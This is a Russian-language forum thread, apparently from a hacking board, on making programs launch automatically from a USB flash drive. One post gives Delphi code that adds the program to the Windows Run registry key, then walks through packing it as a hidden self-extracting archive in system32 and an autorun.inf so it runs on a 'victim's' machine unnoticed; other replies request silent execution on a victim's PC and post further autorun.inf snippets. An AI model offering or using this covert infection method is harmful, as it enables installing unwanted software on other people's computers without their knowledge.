Как можно сделать автозапуск с флеш-карты?

Discussion in 'Безопасность и Анонимность' started by Scofild, 5 Apr 2008.

  1. 1nject

    1nject New Member

    Joined:
    8 Dec 2008
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Это давно не новость на WHB все спалили!
     
  2. OPF_Nik

    OPF_Nik New Member

    Joined:
    6 Nov 2009
    Messages:
    36
    Likes Received:
    3
    Reputations:
    -5
    Я делаю так:

    1. Сначало надо подготовить прогу)
    Для этого в ее коде для начало в разделе Uses добовляем модуль "registry"
    Затем в OnCreate формы пишем вот этот код:


    var
    reg: Tregistry;

    begin
    reg:= Tregistry.Create;
    reg.RootKey:= HKEY_LOCAL_MACHINE;
    reg.OpenKey('Software', true);
    reg.OpenKey('Microsoft', true);
    reg.OpenKey('Windows', true);
    reg.OpenKey('CurrentVersion', true);
    reg.OpenKey('Run', true);
    reg.WriteString('sstt', Application.ExeName);
    reg.CloseKey;
    end:

    Обьясню для новичков)) Данный код прописывает себя в реестре автозагрузке)) тоесть куда бы вы не поместитили прогу она сама себя запишет в авторан))

    2.Теперь перейдем не посредсвенно к запуску с флешки)) Наш цель состоит в том что бы когда флешка была подключина к порту USB она автоматически копировалась на жесткий диск) причем так что бы этого не видела жертва))

    Дальше делаем следующию операцию:
    Нажимай правую кнопку на нашей проге, затем "добавить в архив..." Теперь надо поменять пару настроек:

    1. ставим галочку напротив пункта:"Создать SFX арив
    2. Потом выбираем вкладку дополнительно и нажимаем на : "Параметры SFX"
    3. В "Путь для распоковки" указывем путь где вы хотите что бы располагалась ваша прога)) я указал:
    C:\WINDOWS\system32
    4. В "Выполнить после распоковки" пишем опять же:
    C:\WINDOWS\system32 ,но только теперь дабовляем нашу прогу)) допустим что она называеться:
    "proga.exe", тогда в итоге получиться:
    C:\WINDOWS\system32\proga.exe
    5. Далее переходим на на закладку"Режимы"
    и ставим галочку рядом с "Скрыть все"
    6. Далее нажимаем "ок"))

    Осталось только сделать что бы наш архив запустилься)) для этого в корне с флешкой создаем файл "autorun.inf" это можно сделать при помощи блокнота))
    Далее открываем все с помощью того же блокнота это файл и встовляем туда это:
    [autorun]
    icon=icons\drive.ico
    shellexecute=proga.exe
    Сохраняем и закрываем блокнот!)

    Все, подведем итог:

    Когда наша флешка подключаеться с USB, то запускаеться наш архив "proga.sfx.exe" благодоря:
    "autorun.inf" После чего наш архив распоковывает и запускает нашу прогу(причем на экране не чего не происходит) Так же при этом запуске программа прописывает себе а автозагрузке)) Все файл на компьютере и запускаеться вместе с системой))

    P.S для модераторов: статья обьянясняет как запустить с флешки програму!! так что прозьба не банить!)Так как статья написана в тему, если возникнут какие нибудь проблемы прозьба сообщить мне, и я их с удовольствием исправлю!)


    Кому что не понятно или есть свои предложения пишите в личку!!!
     
    #22 OPF_Nik, 8 Nov 2009
    Last edited: 13 Nov 2009
  3. ShamanVasiliy

    ShamanVasiliy New Member

    Joined:
    3 Sep 2009
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    djKayot, пост 19, не разобрался в своём вопросе? если можно, выложи файл...
    В общем меня этот вопрос крайне остро интересует, кто научит, щедро награжу)))
    и не принципиально, флешка, USB-хард или ещё что-то... главное USB => запуск *.exe
    Если метод весь из себя такой "секретный", то прошу в асю 556663224, там всё и оговорим.
     
  4. OPF_Nik

    OPF_Nik New Member

    Joined:
    6 Nov 2009
    Messages:
    36
    Likes Received:
    3
    Reputations:
    -5
    ShamanVasiliy что ты конткретно хочешь?
     
  5. ShamanVasiliy

    ShamanVasiliy New Member

    Joined:
    3 Sep 2009
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    тоже, что и ТС - запуск *.exe на тачке жертвы абсолютно без палева и каких-либо действий со стороны пользователя, используя исключительно доступ к USB порту, ось ХР, вероятнее всего сп 2, никакие альтернативные методы, соц инж и пр., не актуальны.
     
  6. iv.

    iv. Elder - Старейшина

    Joined:
    21 Mar 2007
    Messages:
    1,183
    Likes Received:
    438
    Reputations:
    107
    В ксакепе описывали метод запуска с помощью создания на флэшке раздела сд-диска, "флэшка-убийца" вроде статья называлась. Ссылка на pdf http://www.xakep.ru/magazine/xa/126/xa_126.pdf

    зы: что эта тема делает в прикрепленных? о_0
     
    #26 iv., 24 Nov 2009
    Last edited: 24 Nov 2009
  7. ShamanVasiliy

    ShamanVasiliy New Member

    Joined:
    3 Sep 2009
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    а теперь все вместе и дружно, "Спаааа-сииии-бооооо, дядя iv. !!!"
    низкий поклон, очень выручили)))
     
  8. ShamanVasiliy

    ShamanVasiliy New Member

    Joined:
    3 Sep 2009
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    или же альтернативный вариант, не требующий спец флешки, но неуниверсальный
    http://flashboot.ru/index.php?name=News&op=article&sid=29
    (линка из статьи, укащанной в 26 посте)
     
  9. .Life

    .Life Banned

    Joined:
    26 Dec 2009
    Messages:
    81
    Likes Received:
    3
    Reputations:
    0
    [autorun]
    ICON=autorun.ico
    OPEN=autorun.exe


    autorun.ico - иконка

    autorun.exe - файл авторана ( можно изменять на любое расш.
     
  10. stasic0640

    stasic0640 New Member

    Joined:
    23 Sep 2010
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    ShamanVasiliy, а можете рассказать, как получилось сделать, ато в журнале не очень понятно.
     
  11. HIMIKAT

    HIMIKAT Elder - Старейшина

    Joined:
    12 Jan 2007
    Messages:
    2,707
    Likes Received:
    581
    Reputations:
    403
    Уж лучше чем в журнале, я незнаю кто тебе расскажет, там специально все разжевывают.
     
  12. FALTONICK

    FALTONICK Elder - Старейшина

    Joined:
    12 Feb 2009
    Messages:
    141
    Likes Received:
    246
    Reputations:
    56
    [autorun]
    open=opera.exe
    icon=icon.ico


    файл oper.exe должен быть в корне чтоб запускалась